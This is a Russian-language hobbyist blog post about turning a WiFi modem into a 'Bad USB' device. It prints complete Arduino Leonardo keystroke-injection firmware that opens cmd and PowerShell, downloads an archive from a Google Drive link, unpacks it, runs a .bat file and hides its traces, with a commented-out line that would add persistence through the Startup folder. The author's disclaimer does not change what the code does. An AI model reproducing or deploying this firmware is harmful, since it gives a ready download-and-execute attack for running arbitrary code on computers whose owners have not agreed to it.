Всем привет. В этой статье мы продолжим сооружать и прошивать свой Bad USB из WIFI модема!
КАК ОБЫЧНО Я ПРЕДУПРЕЖДАЮ,ЧТО ЭТОТ ДЕВАЙС В ПЛОХИХ РУКАХ МОЖЕТ ОЧЕНЬ СИЛЬНО НАВРЕДИТЬ И ПОНЕСТИ ПЛОХИЕ ПОСЛЕДСТВИЯ. ВЗЛОМЫ НЕ ЗАКОННЫ!!! ВСЁ В МОИХ СТАТЬЯХ ТОЛЬКО ЛИШЬ В ИНФОРМАЦИОННЫХ ЦЕЛЯХ!!!
Продолжим создание нашего девайса
Я поискал и нашёл у себя дома SD карту на 8 гб
И какого было моё удивление,когда эта карта памяти подошла в этот модем
Дальше осталось проверить: может ли она работать как флешка?И можно будет ли её прошить?
Сейчас попробуем ответить на первый вопрос
Вставляем в нашу тачку(будем начинать говорить хакерскими терминами. Тачка-это ПК или ноутбук(или моноблок))этот модем
Как видим у нас получилось сделать из модема флешку!!!!
Ура!!!!Полдела сделано
Теперь перейдём к самому главному
ПРОШИВКА
Прошивать как я ранее говорил будем через мною модифицированной прошивкой на плате Arduino Leonardo
В этом скрипте я прописал,чтобы с начало скачивался на комп архив(по специальной ссылке на гугл диск),разархивировал его и запускаю .bat файл лежащий в этом архиве. В свою очередь бат файл запускает другой, а он в свою очередь запускает cmd и выводит в консоле специально составленное сообщение. Что то вроде: Этот компьютер был взломан хакером J. J. BI, но не бойтесь,я всего лишь стараюсь обезопасить и защитить этот компьютер от других хакеров
А вот и прошивка:
(в этом месте уберёте скобки и пропишите перед этим решётку)include <Keyboard.h>
void setup(){
Keyboard.begin();
delay(2000);
createFolder();
getFiles();
setUpFiles();
}
void loop(){}
void winPlusR() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(45);
Keyboard.releaseAll();
delay(100);
}
void createFolder(){
winPlusR();
// запускаем командную строку
Keyboard.println("cmd");
Keyboard.write(KEY_RETURN);
delay(500);
// переходим на диск C:\
Keyboard.println("cd C:/");
Keyboard.write(KEY_RETURN);
delay(100);
// создаём папку "Downloads"
Keyboard.println("mkdir Downloads");
Keyboard.write(KEY_RETURN);
delay(100);
// закрываем окно
Keyboard.println("exit");
Keyboard.write(KEY_RETURN);
delay(2000);
}
void getFiles(){
winPlusR();
// открываем powershell
Keyboard.println("powershell");
Keyboard.write(KEY_RETURN);
delay(1000);
// переходим в папку Downloads
Keyboard.println("cd C:/Downloads/");
Keyboard.write(KEY_RETURN);
delay(1000);
// задаём адрес для скачивания
Keyboard.println("$download_url = 'https://drive.google.com/file/d/1sZFF3QO3gUTXTn7KR4K3DasRYrNjLKOf/view?usp=sharing'");
Keyboard.write(KEY_RETURN);
delay(1000);
// задаём локальный путь для сохранения файла
Keyboard.println("$local_path = 'C:/Downloads/arch.zip'");
Keyboard.write(KEY_RETURN);
delay(1000);
// запускаем веб клиент
Keyboard.println("$WebClient = New-Object System.Net.WebClient");
Keyboard.write(KEY_RETURN);
delay(500);
// качаем архив
Keyboard.println("$WebClient.DownloadFile($download_url, $local_path)");
Keyboard.write(KEY_RETURN);
delay(1250);
// распаковываем его
Keyboard.println("Expand-Archive arch.zip");
Keyboard.write(KEY_RETURN);
delay(750);
// закрываем окно
Keyboard.println("exit");
Keyboard.write(KEY_RETURN);
delay(200);
}
void setUpFiles(){
winPlusR();
// открываем командную строку
Keyboard.println("cmd");
Keyboard.write(KEY_RETURN);
delay(100);
//Переходим в разархивированную папку
Keyboard.println("cd C:/Downloads/arch/");
Keyboard.write(KEY_RETURN);
//Запускаем скрипт "1.bat"
Keyboard.println("1.bat");
Keyboard.write(KEY_RETURN);
// прописываем в автозагрузку
//Keyboard.println("copy arch.bat C:/Users/оператор/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup ");
//Keyboard.write(KEY_RETURN);
delay(250);
// стираем написанное и закрываем cmd
Keyboard.println("cls && exit");
Keyboard.write(KEY_RETURN);
}
Что ж. Теперь пробуем загрузить прошивку. Я честно говоря не знаю получится или нет,но если получится буду очень радоваться. А если нет, то буду искать другие варианты создать Bad USB
Компилируем!)
При компиляции как обычно у меня сердце в пятки ушло). Установится или нет? НАдеюсь,что всё пройдёт хорошо.
И,да он выдал ошибку. Но ничего страшного. Сейчас попробую исправить
Ждём загрузки........................................................................................................................
P.s.ах да. Чуть не забыл. Заходим в инструменты и выбираем плату ардуино леонардо и порт нашего устройства либо COM3, либо COM5
ОТВЕЧАЕМ НА ВТОРОЙ ВОПРОС
К сожалению прошить этот модем не получилось
Я не много его видоизменил
Но так как прошить не удалось,я буду использовать этот модем просто как флешку
Но в другой раз я попробую заказать Ардуинку,а именно Pro Micro и прошью её прошивкой выше
ПОДПИСЫВАЙТЕСЬ,ЧТОБЫ НЕ ПРОПУСТИТЬ СОЗДАНИЕ ДЕВАЙСОВ ДЛЯ ПЕНТЕСТА